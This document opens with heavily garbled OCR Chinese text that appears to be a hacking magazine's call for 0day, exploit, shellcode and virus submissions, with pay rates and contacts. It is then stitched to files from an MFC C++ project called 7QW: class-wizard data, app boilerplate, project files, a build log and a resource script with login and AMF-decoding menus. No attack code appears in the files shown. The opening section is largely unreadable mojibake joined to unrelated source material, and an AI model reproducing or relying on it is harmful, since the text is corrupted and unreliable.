BT T, RO R RGN AR )E ODay, Fadi WAL, wTLAVA R
REEGAE. ARBEEAERINE, HEEBR S 9% binsun20000@hotmail.com
Android BRI

MR SR H , 6 android RGNS B | P EISEROR ST . #5007 W) AL 4E android
PACHL T« android FEFUNL, A MGEDER 6T android R A2 AEN LR 2R G0 2 HLERIT )
HARRR
AAER

BERFIN R B AR R 48 22 R ) R TF i, sk 3R B OB R IR, alEr
DEIIE S 7 N < L 11670 T SN o 8
TRIFAB

P ARG MG URFETHBE. M2 BE, RANR, W8S mAT IS
=T A RN 2% V2% ODay (il A ATLEE, kT Bl B ] iy & At () poc AT 43 B9, 9w’ JF 4
BEOCALIR) exploit (SR RS s  [R] A] ) d o g i TR A T2 i - shellcode 73
DA SO B 6 (1) 22 LI .

AT

A AR KRG HATREN . 380 By B M 2w I IA R 4811 ODay DL &
AR P AR o T 2SOUCAA FH BEIAS T 35 B St 1 D R BC A R N A B T AR08 o K
A PHP . JSP LLK html 321 54 N5 A RS S B
TRE®R

TSI e R BRI IR s ST BB Anti REFRAT HIPS 2B AT R AR e . FF
I G 2 A Bl AT s AR AT 18, LN LA B R A SO IR i R R AR
(140387 20 S 0] e, I HOYGH PR AR Bt B S R AL R AR 5o TR, w4 T
HONRE TR M, DUSOB (A8 52 375 (1) 56 ) o
BESEN

MR E AR H o XARAE windows 48, Ak SQL Hls ELUAME LA R G HgiE . 1k
PR BE, Rl Vol g yziE . S8 $EBUNEOR T . — DI B . Sk et -1
WE bR HR SR, AT o mi HR S 3 !

W AR

X} 25 2R GE AL G N FH R AR IR Al 20 AT, AR 2l shellcode 45 iR 55
AP ICHERE

G EAME T (1) W 28 2 RS, JHEATRIPE. k.

W 2% 224 B ]
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BATOE SR R | I 9 AR IR 285 7 L R0 75« BB AR RIS s ARP RELIKHEARR)
15 BT R AN N 44 R 5 R 57 DD os Bk H A S5 AH 55 T AR S
HWRIIEZNN

T B O R KRB SR R GBI HE 4 B BRI 2R 5 5 1) 22 SRl HE 44 1A
HEA
BRIE

KT EIE se At WO M EAR TR AR T T BRI bR
YR30 1) 7 BT e R IR NI
SRTERENT

FRp e AR R R KA R AR R T JRJZ IS A E . HERR I nag 5 a4
ARERTF virus i BN FHECAR G S 5 LRI I I 0 5 S A D ft A A ik . 0 W ad
CIC++/ASM H EIT Ay T H TR 18
Bt NEK:

D EARS WK fm— A8 Word ZwdlE, K1 i AN SCERE T IE U IR E, R AR
17, “K 27

2) ERERBEE B, 4 BATIKS . DURTF P L, SFEIRI LSS Y
(R 25 oA RS .« QQ B MSN. B4, W HMELSE, JHRAILIF P

3) Fch Ty AN f 3]

KA E-Mail J7 A $R, $8 mail:  du_xing_zhe@yahoo.com.cn - QQ675122680 #tf )i »
Fa b LR T 1-3 A TAEH WIS, EEEMESE. &H 10 HiiHfksa e k®
R ARG R, 10 HEBSE N FAZE, EEENAGER, e F— s HE,
AL Bkl . BRTANJ), KRR AR , 1w B H .

BERfos: AR E. e 2R, R ER—S e EES—55
MM ST, Ktk Ridh, M TSR EF Rt

A) T ol R

Rt M ARG Fash M. WA sE 2 1) Bk AR N 2 A FX AT 51

5) MR, 2% E SR, R R

—% ket 900 Ju/fE

—ERaft 600 Jo/kE

=4ERafF 300 Jo/kE

6) Fi B RIRIND::

BAT KRR, LRSS REATHEL R, ALREH R

7 BeafE R RO R

FeRafEAE du xing zhe@yahoo.com.cn

i QQ 675122680
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源码/7QW.APS






源码/7QW.clw

; CLW file contains information for the MFC ClassWizard



[General Info]

Version=1

LastClass=CLoginDlg

LastTemplate=CDialog

NewFileInclude1=#include "stdafx.h"

NewFileInclude2=#include "7QW.h"

LastPage=0



ClassCount=14

Class1=CMy7QWApp

Class2=CMy7QWDoc

Class3=CMy7QWView

Class4=CMainFrame



ResourceCount=7

Resource1=IDD_DIALOG4

Resource2=IDR_MAINFRAME

Resource3=IDD_DIALOG3

Resource4=IDD_DIALOG1

Resource5=IDD_ABOUTBOX

Class5=CAboutDlg

Class6=CTopView

Class7=CEndView

Class8=CTopSheet

Class9=CFun1Dlg

Class10=CFun2Dlg

Class11=CFun3Dlg

Class12=CFun1LeftView

Class13=CFun1RightView

Resource6=IDD_DIALOG2

Class14=CLoginDlg

Resource7=IDD_DIALOG5



[CLS:CMy7QWApp]

Type=0

HeaderFile=7QW.h

ImplementationFile=7QW.cpp

Filter=N



[CLS:CMy7QWDoc]

Type=0

HeaderFile=7QWDoc.h

ImplementationFile=7QWDoc.cpp

Filter=N



[CLS:CMy7QWView]

Type=0

HeaderFile=7QWView.h

ImplementationFile=7QWView.cpp

Filter=C





[CLS:CMainFrame]

Type=0

HeaderFile=MainFrm.h

ImplementationFile=MainFrm.cpp

Filter=T

BaseClass=CFrameWnd

VirtualFilter=fWC

LastObject=ID_AMF3_DECODE2









[CLS:CAboutDlg]

Type=0

HeaderFile=7QW.cpp

ImplementationFile=7QW.cpp

Filter=D



[DLG:IDD_ABOUTBOX]

Type=1

Class=CAboutDlg

ControlCount=4

Control1=IDC_STATIC,static,1342177283

Control2=IDC_STATIC,static,1342308480

Control3=IDC_STATIC,static,1342308352

Control4=IDOK,button,1342373889



[MNU:IDR_MAINFRAME]

Type=1

Class=CMainFrame

Command1=IDM_MENU_LOGIN

Command2=ID_FILE_MRU_FILE1

Command3=ID_TEST

Command4=ID_APP_EXIT

Command5=ID_VIEW_TOOLBAR

Command6=ID_VIEW_STATUS_BAR

Command7=ID_AMF3_DECODE

Command8=ID_AMF3_DECODE2

Command9=ID_APP_ABOUT

CommandCount=9



[ACL:IDR_MAINFRAME]

Type=1

Class=CMainFrame

Command1=ID_FILE_NEW

Command2=ID_FILE_OPEN

Command3=ID_FILE_SAVE

Command4=ID_FILE_PRINT

Command5=ID_EDIT_UNDO

Command6=ID_EDIT_CUT

Command7=ID_EDIT_COPY

Command8=ID_EDIT_PASTE

Command9=ID_EDIT_UNDO

Command10=ID_EDIT_CUT

Command11=ID_EDIT_COPY

Command12=ID_EDIT_PASTE

Command13=ID_NEXT_PANE

Command14=ID_PREV_PANE

CommandCount=14



[TB:IDR_MAINFRAME]

Type=1

Class=?

Command1=ID_FILE_NEW

Command2=ID_FILE_OPEN

Command3=ID_FILE_SAVE

Command4=ID_EDIT_CUT

Command5=ID_EDIT_COPY

Command6=ID_EDIT_PASTE

Command7=ID_FILE_PRINT

Command8=ID_APP_ABOUT

CommandCount=8



[CLS:CTopView]

Type=0

HeaderFile=TopView.h

ImplementationFile=TopView.cpp

BaseClass=CView

Filter=C

VirtualFilter=VWC



[CLS:CEndView]

Type=0

HeaderFile=EndView.h

ImplementationFile=EndView.cpp

BaseClass=CListView

Filter=C

VirtualFilter=VWC



[CLS:CTopSheet]

Type=0

HeaderFile=TopSheet.h

ImplementationFile=TopSheet.cpp

BaseClass=CPropertySheet

Filter=W

LastObject=CTopSheet



[DLG:IDD_DIALOG1]

Type=1

Class=CFun1Dlg

ControlCount=1

Control1=IDC_STATIC1,static,1342177287



[DLG:IDD_DIALOG2]

Type=1

Class=CFun2Dlg

ControlCount=4

Control1=IDC_BUTTON1,button,1342242816

Control2=IDC_BUTTON3,button,1342242816

Control3=IDC_BUTTON4,button,1342242816

Control4=IDC_BUTTON2,button,1342242816



[DLG:IDD_DIALOG3]

Type=1

Class=CFun3Dlg

ControlCount=2

Control1=IDOK,button,1342242817

Control2=IDCANCEL,button,1342242816



[DLG:IDD_DIALOG4]

Type=1

Class=?

ControlCount=2

Control1=IDOK,button,1342242817

Control2=IDCANCEL,button,1342242816



[CLS:CFun1Dlg]

Type=0

HeaderFile=Fun1Dlg.h

ImplementationFile=Fun1Dlg.cpp

BaseClass=CPropertyPage

Filter=D

LastObject=CFun1Dlg

VirtualFilter=idWC



[CLS:CFun2Dlg]

Type=0

HeaderFile=Fun2Dlg.h

ImplementationFile=Fun2Dlg.cpp

BaseClass=CPropertyPage

Filter=D

LastObject=CFun2Dlg

VirtualFilter=idWC



[CLS:CFun3Dlg]

Type=0

HeaderFile=Fun3Dlg.h

ImplementationFile=Fun3Dlg.cpp

BaseClass=CPropertyPage

Filter=D

LastObject=CFun3Dlg



[CLS:CFun1LeftView]

Type=0

HeaderFile=Fun1LeftView.h

ImplementationFile=Fun1LeftView.cpp

BaseClass=CTreeView

Filter=C

VirtualFilter=VWC



[CLS:CFun1RightView]

Type=0

HeaderFile=Fun1RightView.h

ImplementationFile=Fun1RightView.cpp

BaseClass=CListView

Filter=C



[DLG:IDD_DIALOG5]

Type=1

Class=CLoginDlg

ControlCount=14

Control1=IDC_STATIC,static,1342308352

Control2=IDC_EDIT1,edit,1350639744

Control3=IDC_STATIC,static,1342308352

Control4=IDC_EDIT2,edit,1350631584

Control5=IDC_STATIC,static,1342308352

Control6=IDC_EDIT3,edit,1350631552

Control7=IDC_BUTTON1,button,1342242816

Control8=IDC_STATIC,static,1342308352

Control9=IDC_STATIC1,static,1342177284

Control10=IDC_EDIT4,edit,1350631552

Control11=IDC_BUTTON2,button,1342242816

Control12=IDC_COMBO1,combobox,1344340225

Control13=IDC_STATIC,static,1342177296

Control14=IDC_BUTTON6,button,1342242816



[CLS:CLoginDlg]

Type=0

HeaderFile=LoginDlg.h

ImplementationFile=LoginDlg.cpp

BaseClass=CDialog

Filter=W

LastObject=IDC_EDIT3

VirtualFilter=dWC











源码/7QW.cpp



    
    
    ??/7QW.cpp
    
    


??/7QW.cpp// 7QW.cpp : Defines the class behaviors for the application.
//

#include "stdafx.h"
#include "7QW.h"

#include "MainFrm.h"
#include "7QWDoc.h"
#include "7QWView.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CMy7QWApp

BEGIN_MESSAGE_MAP(CMy7QWApp, CWinApp)
    //{{AFX_MSG_MAP(CMy7QWApp)
    ON_COMMAND(ID_APP_ABOUT, OnAppAbout)
        // NOTE - the ClassWizard will add and remove mapping macros here.
        //    DO NOT EDIT what you see in these blocks of generated code!
    //}}AFX_MSG_MAP
    // Standard file based document commands
    ON_COMMAND(ID_FILE_NEW, CWinApp::OnFileNew)
    ON_COMMAND(ID_FILE_OPEN, CWinApp::OnFileOpen)
    // Standard print setup command
    ON_COMMAND(ID_FILE_PRINT_SETUP, CWinApp::OnFilePrintSetup)
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CMy7QWApp construction

CMy7QWApp::CMy7QWApp()
{
    // TODO: add construction code here,
    // Place all significant initialization in InitInstance
}

/////////////////////////////////////////////////////////////////////////////
// The one and only CMy7QWApp object

CMy7QWApp theApp;

/////////////////////////////////////////////////////////////////////////////
// CMy7QWApp initialization

BOOL CMy7QWApp::InitInstance()
{
    CoInitialize(NULL);
    

    
    AfxEnableControlContainer();

    // Standard initialization
    // If you are not using these features and wish to reduce the size
    //  of your final executable, you should remove from the following
    //  the specific initialization routines you do not need.

#ifdef _AFXDLL
    Enable3dControls();         // Call this when using MFC in a shared DLL
#else
    Enable3dControlsStatic();   // Call this when linking to MFC statically
#endif

    // Change the registry key under which our settings are stored.
    // TODO: You should modify this string to be something appropriate
    // such as the name of your company or organization.
    SetRegistryKey(_T("Local AppWizard-Generated Applications"));

    LoadStdProfileSettings();  // Load standard INI file options (including MRU)

    // Register the application's document templates.  Document templates
    //  serve as the connection between documents, frame windows and views.

    CSingleDocTemplate* pDocTemplate;
    pDocTemplate = new CSingleDocTemplate(
        IDR_MAINFRAME,
        RUNTIME_CLASS(CMy7QWDoc),
        RUNTIME_CLASS(CMainFrame),       // main SDI frame window
        RUNTIME_CLASS(CMy7QWView));
    AddDocTemplate(pDocTemplate);

    // Parse command line for standard shell commands, DDE, file open
    CCommandLineInfo cmdInfo;
    ParseCommandLine(cmdInfo);

    // Dispatch commands specified on the command line
    if (!ProcessShellCommand(cmdInfo))
        return FALSE;

    // The one and only window has been initialized, so show and update it.
    m_pMainWnd->ShowWindow(SW_MAXIMIZE);
    m_pMainWnd->UpdateWindow();

    return TRUE;
}


/////////////////////////////////////////////////////////////////////////////
// CAboutDlg dialog used for App About

class CAboutDlg : public CDialog
{
public:
    CAboutDlg();

// Dialog Data
    //{{AFX_DATA(CAboutDlg)
    enum { IDD = IDD_ABOUTBOX };
    //}}AFX_DATA

    // ClassWizard generated virtual function overrides
    //{{AFX_VIRTUAL(CAboutDlg)
    protected:
    virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support
    //}}AFX_VIRTUAL

// Implementation
protected:
    //{{AFX_MSG(CAboutDlg)
        // No message handlers
    //}}AFX_MSG
    DECLARE_MESSAGE_MAP()
};

CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
    //{{AFX_DATA_INIT(CAboutDlg)
    //}}AFX_DATA_INIT
}

void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
    CDialog::DoDataExchange(pDX);
    //{{AFX_DATA_MAP(CAboutDlg)
    //}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
    //{{AFX_MSG_MAP(CAboutDlg)
        // No message handlers
    //}}AFX_MSG_MAP
END_MESSAGE_MAP()

// App command to run the dialog
void CMy7QWApp::OnAppAbout()
{
    CAboutDlg aboutDlg;
    aboutDlg.DoModal();
}

/////////////////////////////////////////////////////////////////////////////
// CMy7QWApp message handlers








源码/7QW.dsp

# Microsoft Developer Studio Project File - Name="7QW" - Package Owner=<4>

# Microsoft Developer Studio Generated Build File, Format Version 6.00

# ** DO NOT EDIT **



# TARGTYPE "Win32 (x86) Application" 0x0101



CFG=7QW - Win32 Debug

!MESSAGE This is not a valid makefile. To build this project using NMAKE,

!MESSAGE use the Export Makefile command and run

!MESSAGE 

!MESSAGE NMAKE /f "7QW.mak".

!MESSAGE 

!MESSAGE You can specify a configuration when running NMAKE

!MESSAGE by defining the macro CFG on the command line. For example:

!MESSAGE 

!MESSAGE NMAKE /f "7QW.mak" CFG="7QW - Win32 Debug"

!MESSAGE 

!MESSAGE Possible choices for configuration are:

!MESSAGE 

!MESSAGE "7QW - Win32 Release" (based on "Win32 (x86) Application")

!MESSAGE "7QW - Win32 Debug" (based on "Win32 (x86) Application")

!MESSAGE 



# Begin Project

# PROP AllowPerConfigDependencies 0

# PROP Scc_ProjName ""

# PROP Scc_LocalPath ""

CPP=cl.exe

MTL=midl.exe

RSC=rc.exe



!IF  "$(CFG)" == "7QW - Win32 Release"



# PROP BASE Use_MFC 6

# PROP BASE Use_Debug_Libraries 0

# PROP BASE Output_Dir "Release"

# PROP BASE Intermediate_Dir "Release"

# PROP BASE Target_Dir ""

# PROP Use_MFC 6

# PROP Use_Debug_Libraries 0

# PROP Output_Dir "Release"

# PROP Intermediate_Dir "Release"

# PROP Ignore_Export_Lib 0

# PROP Target_Dir ""

# ADD BASE CPP /nologo /MD /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_AFXDLL" /Yu"stdafx.h" /FD /c

# ADD CPP /nologo /MD /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_AFXDLL" /Yu"stdafx.h" /FD /c

# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32

# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32

# ADD BASE RSC /l 0x804 /d "NDEBUG" /d "_AFXDLL"

# ADD RSC /l 0x804 /d "NDEBUG" /d "_AFXDLL"

BSC32=bscmake.exe

# ADD BASE BSC32 /nologo

# ADD BSC32 /nologo

LINK32=link.exe

# ADD BASE LINK32 /nologo /subsystem:windows /machine:I386

# ADD LINK32 ws2_32.lib zlib.lib /nologo /subsystem:windows /machine:I386 /nodefaultlib:"LIBCD.lib"



!ELSEIF  "$(CFG)" == "7QW - Win32 Debug"



# PROP BASE Use_MFC 6

# PROP BASE Use_Debug_Libraries 1

# PROP BASE Output_Dir "Debug"

# PROP BASE Intermediate_Dir "Debug"

# PROP BASE Target_Dir ""

# PROP Use_MFC 6

# PROP Use_Debug_Libraries 1

# PROP Output_Dir "Debug"

# PROP Intermediate_Dir "Debug"

# PROP Target_Dir ""

# ADD BASE CPP /nologo /MDd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_AFXDLL" /Yu"stdafx.h" /FD /GZ /c

# ADD CPP /nologo /MDd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_AFXDLL" /D "_MBCS" /Yu"stdafx.h" /FD /GZ /c

# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32

# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32

# ADD BASE RSC /l 0x804 /d "_DEBUG" /d "_AFXDLL"

# ADD RSC /l 0x804 /d "_DEBUG" /d "_AFXDLL"

BSC32=bscmake.exe

# ADD BASE BSC32 /nologo

# ADD BSC32 /nologo

LINK32=link.exe

# ADD BASE LINK32 /nologo /subsystem:windows /debug /machine:I386 /pdbtype:sept

# ADD LINK32 /nologo /subsystem:windows /debug /machine:I386 /pdbtype:sept



!ENDIF 



# Begin Target



# Name "7QW - Win32 Release"

# Name "7QW - Win32 Debug"

# Begin Group "Source Files"



# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"

# Begin Source File



SOURCE=.\7QW.cpp

# End Source File

# Begin Source File



SOURCE=.\7QW.rc

# End Source File

# Begin Source File



SOURCE=.\7QWDoc.cpp

# End Source File

# Begin Source File



SOURCE=.\7QWView.cpp

# End Source File

# Begin Source File



SOURCE=.\7wAmfCmd.cpp

# End Source File

# Begin Source File



SOURCE=.\amf_object.cpp

# End Source File

# Begin Source File



SOURCE=.\amf_static.cpp

# End Source File

# Begin Source File



SOURCE=.\CxSplitterWnd.cpp

# End Source File

# Begin Source File



SOURCE=.\EndView.cpp

# End Source File

# Begin Source File



SOURCE=.\Fun1Dlg.cpp

# End Source File

# Begin Source File



SOURCE=.\Fun1LeftView.cpp

# End Source File

# Begin Source File



SOURCE=.\Fun1RightView.cpp

# End Source File

# Begin Source File



SOURCE=.\Fun2Dlg.cpp

# End Source File

# Begin Source File



SOURCE=.\Fun3Dlg.cpp

# End Source File

# Begin Source File



SOURCE=.\Fun4Dlg.cpp

# End Source File

# Begin Source File



SOURCE=.\HttpRequest.cpp

# End Source File

# Begin Source File



SOURCE=.\LoginDlg.cpp

# End Source File

# Begin Source File



SOURCE=.\MainFrm.cpp

# End Source File

# Begin Source File



SOURCE=.\SafeArrayHelper.cpp

# End Source File

# Begin Source File



SOURCE=.\ScriptObject.cpp

# End Source File

# Begin Source File



SOURCE=.\StaticFunctions.cpp

# End Source File

# Begin Source File



SOURCE=.\StdAfx.cpp

# ADD CPP /Yc"stdafx.h"

# End Source File

# Begin Source File



SOURCE=.\TopSheet.cpp

# End Source File

# Begin Source File



SOURCE=.\TopView.cpp

# End Source File

# Begin Source File



SOURCE=.\webbrowser2.cpp

# End Source File

# End Group

# Begin Group "Header Files"



# PROP Default_Filter "h;hpp;hxx;hm;inl"

# Begin Source File



SOURCE=.\7QW.h

# End Source File

# Begin Source File



SOURCE=.\7QWDoc.h

# End Source File

# Begin Source File



SOURCE=.\7QWView.h

# End Source File

# Begin Source File



SOURCE=.\7wAmfCmd.h

# End Source File

# Begin Source File



SOURCE=.\amf_object.h

# End Source File

# Begin Source File



SOURCE=.\amf_static.h

# End Source File

# Begin Source File



SOURCE=.\CxSplitterWnd.h

# End Source File

# Begin Source File



SOURCE=.\EndView.h

# End Source File

# Begin Source File



SOURCE=.\Fun1Dlg.h

# End Source File

# Begin Source File



SOURCE=.\Fun1LeftView.h

# End Source File

# Begin Source File



SOURCE=.\Fun1RightView.h

# End Source File

# Begin Source File



SOURCE=.\Fun2Dlg.h

# End Source File

# Begin Source File



SOURCE=.\Fun3Dlg.h

# End Source File

# Begin Source File



SOURCE=.\Fun4Dlg.h

# End Source File

# Begin Source File



SOURCE=.\HttpRequest.h

# End Source File

# Begin Source File



SOURCE=.\LoginDlg.h

# End Source File

# Begin Source File



SOURCE=.\macros.h

# End Source File

# Begin Source File



SOURCE=.\MainFrm.h

# End Source File

# Begin Source File



SOURCE=.\Resource.h

# End Source File

# Begin Source File



SOURCE=.\SafeArrayHelper.h

# End Source File

# Begin Source File



SOURCE=.\ScriptObject.h

# End Source File

# Begin Source File



SOURCE=.\StaticFunctions.h

# End Source File

# Begin Source File



SOURCE=.\StdAfx.h

# End Source File

# Begin Source File



SOURCE=.\TopSheet.h

# End Source File

# Begin Source File



SOURCE=.\TopView.h

# End Source File

# Begin Source File



SOURCE=.\webbrowser2.h

# End Source File

# End Group

# Begin Group "Resource Files"



# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"

# Begin Source File



SOURCE=.\res\7QW.ico

# End Source File

# Begin Source File



SOURCE=.\res\7QW.rc2

# End Source File

# Begin Source File



SOURCE=.\res\7QWDoc.ico

# End Source File

# Begin Source File



SOURCE=.\res\default1.bin

# End Source File

# Begin Source File



SOURCE=.\res\main_header.bmp

# End Source File

# Begin Source File



SOURCE=.\res\msg1.ICO

# End Source File

# Begin Source File



SOURCE=.\res\Toolbar.bmp

# End Source File

# End Group

# Begin Source File



SOURCE=.\ReadMe.txt

# End Source File

# End Target

# End Project

# Section 7QW : {D30C1661-CDAF-11D0-8A3E-00C04FC9E26E}

# 	2:5:Class:CWebBrowser2

# 	2:10:HeaderFile:webbrowser2.h

# 	2:8:ImplFile:webbrowser2.cpp

# End Section

# Section 7QW : {8856F961-340A-11D0-A96B-00C04FD705A2}

# 	2:21:DefaultSinkHeaderFile:webbrowser2.h

# 	2:16:DefaultSinkClass:CWebBrowser2

# End Section









源码/7QW.dsw

Microsoft Developer Studio Workspace File, Format Version 6.00

# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE!



###############################################################################



Project: "7QW"=.\7QW.dsp - Package Owner=<4>



Package=<5>

{{{

}}}



Package=<4>

{{{

}}}



###############################################################################



Global:



Package=<5>

{{{

}}}



Package=<3>

{{{

    {8856F961-340A-11D0-A96B-00C04FD705A2}

}}}



###############################################################################











源码/7QW.h

// 7QW.h : main header file for the 7QW application

//



#if !defined(AFX_7QW_H__D5CFEA1D_E72E_4714_8F44_E4E3FD06E920__INCLUDED_)

#define AFX_7QW_H__D5CFEA1D_E72E_4714_8F44_E4E3FD06E920__INCLUDED_



#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000



#ifndef __AFXWIN_H__

	#error include 'stdafx.h' before including this file for PCH

#endif



#include "resource.h"       // main symbols



/////////////////////////////////////////////////////////////////////////////

// CMy7QWApp:

// See 7QW.cpp for the implementation of this class

//



class CMy7QWApp : public CWinApp

{

public:

	CMy7QWApp();



// Overrides

	// ClassWizard generated virtual function overrides

	//{{AFX_VIRTUAL(CMy7QWApp)

	public:

	virtual BOOL InitInstance();

	//}}AFX_VIRTUAL



// Implementation

	//{{AFX_MSG(CMy7QWApp)

	afx_msg void OnAppAbout();

		// NOTE - the ClassWizard will add and remove member functions here.

		//    DO NOT EDIT what you see in these blocks of generated code !

	//}}AFX_MSG

	DECLARE_MESSAGE_MAP()

};





/////////////////////////////////////////////////////////////////////////////



//{{AFX_INSERT_LOCATION}}

// Microsoft Visual C++ will insert additional declarations immediately before the previous line.



#endif // !defined(AFX_7QW_H__D5CFEA1D_E72E_4714_8F44_E4E3FD06E920__INCLUDED_)









源码/7QW.ncb






源码/7QW.opt






源码/7QW.plg





Build Log






--------------------Configuration: 7QW - Win32 Release--------------------






Command Lines




Creating temporary file "C:\DOCUME~1\Terry\LOCALS~1\Temp\RSP155.tmp" with contents

[

/nologo /MD /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_AFXDLL" /Fp"Release/7QW.pch" /Yu"stdafx.h" /Fo"Release/" /Fd"Release/" /FD /c 

"F:\work\投搞黑防\投稿7QW源码\MainFrm.cpp"

]

Creating command line "cl.exe @C:\DOCUME~1\Terry\LOCALS~1\Temp\RSP155.tmp" 

Creating temporary file "C:\DOCUME~1\Terry\LOCALS~1\Temp\RSP156.tmp" with contents

[

ws2_32.lib zlib.lib /nologo /subsystem:windows /incremental:no /pdb:"Release/7QW.pdb" /machine:I386 /nodefaultlib:"LIBCD.lib" /out:"Release/7QW.exe" 

".\Release\7QW.obj"

".\Release\7QWDoc.obj"

".\Release\7QWView.obj"

".\Release\7wAmfCmd.obj"

".\Release\amf_object.obj"

".\Release\amf_static.obj"

".\Release\CxSplitterWnd.obj"

".\Release\EndView.obj"

".\Release\Fun1Dlg.obj"

".\Release\Fun1LeftView.obj"

".\Release\Fun1RightView.obj"

".\Release\Fun2Dlg.obj"

".\Release\Fun3Dlg.obj"

".\Release\Fun4Dlg.obj"

".\Release\HttpRequest.obj"

".\Release\LoginDlg.obj"

".\Release\MainFrm.obj"

".\Release\SafeArrayHelper.obj"

".\Release\ScriptObject.obj"

".\Release\StaticFunctions.obj"

".\Release\StdAfx.obj"

".\Release\TopSheet.obj"

".\Release\TopView.obj"

".\Release\webbrowser2.obj"

".\Release\7QW.res"

]

Creating command line "link.exe @C:\DOCUME~1\Terry\LOCALS~1\Temp\RSP156.tmp"

Output Window




Compiling...

MainFrm.cpp

F:\work\投搞黑防\投稿7QW源码\MainFrm.cpp(137) : warning C4715: 'CMainFrame::OnCreateClient' : not all control paths return a value

Linking...







Results




7QW.exe - 0 error(s), 1 warning(s)











源码/7QW.rc

//Microsoft Developer Studio generated resource script.

//

#include "resource.h"



#define APSTUDIO_READONLY_SYMBOLS

/////////////////////////////////////////////////////////////////////////////

//

// Generated from the TEXTINCLUDE 2 resource.

//

#include "afxres.h"



/////////////////////////////////////////////////////////////////////////////

#undef APSTUDIO_READONLY_SYMBOLS



/////////////////////////////////////////////////////////////////////////////

// Chinese (P.R.C.) resources



#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)

#ifdef _WIN32

LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED

#pragma code_page(936)

#endif //_WIN32



#ifdef APSTUDIO_INVOKED

/////////////////////////////////////////////////////////////////////////////

//

// TEXTINCLUDE

//



1 TEXTINCLUDE DISCARDABLE 

BEGIN

    "resource.h\0"

END



2 TEXTINCLUDE DISCARDABLE 

BEGIN

    "#include ""afxres.h""\r\n"

    "\0"

END



3 TEXTINCLUDE DISCARDABLE 

BEGIN

    "#define _AFX_NO_SPLITTER_RESOURCES\r\n"

    "#define _AFX_NO_OLE_RESOURCES\r\n"

    "#define _AFX_NO_TRACKER_RESOURCES\r\n"

    "#define _AFX_NO_PROPERTY_RESOURCES\r\n"

    "\r\n"

    "#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)\r\n"

    "#ifdef _WIN32\r\n"

    "LANGUAGE 4, 2\r\n"

    "#pragma code_page(936)\r\n"

    "#endif //_WIN32\r\n"

    "#include ""res\\7QW.rc2""  // non-Microsoft Visual C++ edited resources\r\n"

    "#include ""l.chs\\afxres.rc""          // Standard components\r\n"

    "#include ""l.chs\\afxprint.rc""        // printing/print preview resources\r\n"

    "#endif\r\n"

    "\0"

END



#endif    // APSTUDIO_INVOKED





/////////////////////////////////////////////////////////////////////////////

//

// Icon

//



// Icon with lowest ID value placed first to ensure application icon

// remains consistent on all systems.

IDR_MAINFRAME           ICON    DISCARDABLE     "res\\7QW.ico"

IDR_MY7QWTYPE           ICON    DISCARDABLE     "res\\7QWDoc.ico"

IDI_MSG                 ICON    DISCARDABLE     "res\\msg1.ICO"



/////////////////////////////////////////////////////////////////////////////

//

// Bitmap

//



IDR_MAINFRAME           BITMAP  MOVEABLE PURE   "res\\Toolbar.bmp"

IDB_BITMAP1             BITMAP  DISCARDABLE     "res\\main_header.bmp"



/////////////////////////////////////////////////////////////////////////////

//

// Toolbar

//



IDR_MAINFRAME TOOLBAR DISCARDABLE  16, 15

BEGIN

    BUTTON      ID_FILE_NEW

    BUTTON      ID_FILE_OPEN

    BUTTON      ID_FILE_SAVE

    SEPARATOR

    BUTTON      ID_EDIT_CUT

    BUTTON      ID_EDIT_COPY

    BUTTON      ID_EDIT_PASTE

    SEPARATOR

    BUTTON      ID_FILE_PRINT

    SEPARATOR

    BUTTON      ID_APP_ABOUT

END





/////////////////////////////////////////////////////////////////////////////

//

// Menu

//



IDR_MAINFRAME MENU PRELOAD DISCARDABLE 

BEGIN

    POPUP "登录"

    BEGIN

        MENUITEM "帐号登录",                    IDM_MENU_LOGIN

    END

    POPUP "文件(&F)"

    BEGIN

        MENUITEM "最近文件",                    ID_FILE_MRU_FILE1, GRAYED

        MENUITEM SEPARATOR

        MENUITEM "测试",                        ID_TEST

        MENUITEM "退出(&X)",                    ID_APP_EXIT

    END

    POPUP "查看(&V)"

    BEGIN

        MENUITEM "工具栏(&T)",                  ID_VIEW_TOOLBAR

        MENUITEM "状态栏(&S)",                  ID_VIEW_STATUS_BAR

    END

    POPUP "AMF解析"

    BEGIN

        MENUITEM "解析gzip压缩数据",            ID_AMF3_DECODE

        MENUITEM "解析未压缩数据",              ID_AMF3_DECODE2

    END

    POPUP "帮助(&H)"

    BEGIN

        MENUITEM "关于 7QW(&A)...",             ID_APP_ABOUT

    END

END





/////////////////////////////////////////////////////////////////////////////

//

// Accelerator

//



IDR_MAINFRAME ACCELERATORS PRELOAD MOVEABLE PURE 

BEGIN

    "N",            ID_FILE_NEW,            VIRTKEY, CONTROL

    "O",            ID_FILE_OPEN,           VIRTKEY, CONTROL

    "S",            ID_FILE_SAVE,           VIRTKEY, CONTROL

    "P",            ID_FILE_PRINT,          VIRTKEY, CONTROL

